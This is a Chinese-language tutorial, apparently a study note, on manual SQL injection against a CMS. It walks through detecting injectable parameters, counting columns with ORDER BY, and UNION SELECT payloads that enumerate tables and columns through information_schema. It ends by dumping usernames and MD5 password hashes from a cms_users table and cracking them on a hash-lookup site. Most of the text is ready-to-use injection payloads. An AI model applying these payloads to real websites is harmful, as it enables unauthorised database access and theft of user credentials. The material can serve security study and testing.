文章目录
手动注入
CMS
1.寻找可能存在SQL注入点的页面
GET方式
通过把参数附加在URL中进行提交
寻找如下形式的网页链接
http://www.xxx.com/**.asp?table=xx
http://www.xxx.com/**.php?id=xx
http://www.xxx.com/**.aspx?id=xx
http://www.xxx.com/**.jsp?id=xx
测试
在URL后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞
POST方式
通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面
文本框
单选按钮
复选框
文件浏览框
提交按钮
测试
在文本框输入的内容后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞
2.确认注入点类型
数字型
在URL后加入 and 1=1 能正常返回数据
在URL后加入 and 1=2 查询不到数据
字符型
在URL后加入 'and 1=1–+ 能正常返回数据
在URL后加入 'and 1=2# 查询不到数据
3.猜解当前页面中的字段总数
在URL后加 order by 3
逐步调整猜解的字段数
有数据返回则改变字段数大于3
报错则改变字段数小于3
直到测试出有数据返回的最大值
未报错:
报错:
4.猜解页面中显示的字段编号
在URL后加 and 1=2 union select 1,2,3,4,5…与到第三步测出来的最大值为止
SELECT * FROM article WHERE id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
uinon语句特点:
要求多条查询语句的查询列数是一致的
要求多条查询语句的查询的每一列的类型和顺序最好一致
如果union语句中有语句出错,则执行后面的语句
union关键字默认去重,如果使用union all可以包含重复项
页面中会显示相应的字段出现的位置
5.猜解当前网站数据库名称
在URL后加:
1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
6.猜解当前数据库中所有表的名称
在URL后面加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema=database()
或者
select group_concat(table_name) from information_schema.tables where table_schema='cms'
可能后端会对引号进行过滤,所以不可取
group_concat()是将分组括号里对应的字符串进行连接,如果分组括号里的参数有多行,那么就会将这多行字符串连接,每个字符串之间会有特定的符号进行分隔
7.猜解指定表中所有字段名称
在URL后加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name='cms_users'
8猜解cms_users表中的具体内容
在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users
9.对猜解出的MD5内容进行处理
MD5加解密网站:https://cmd5.org/
问题!!!!!
正常情况下,用户名和密码只会显示数据表中的第一数据
解决方法
方法一:
在URL后加 and 1=2 union select 1,2,group_concat(username),4,5,6,7,8,9,10,11,12,13,group_concat(password),15 from cms_users
方法二:
在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users limit 1,1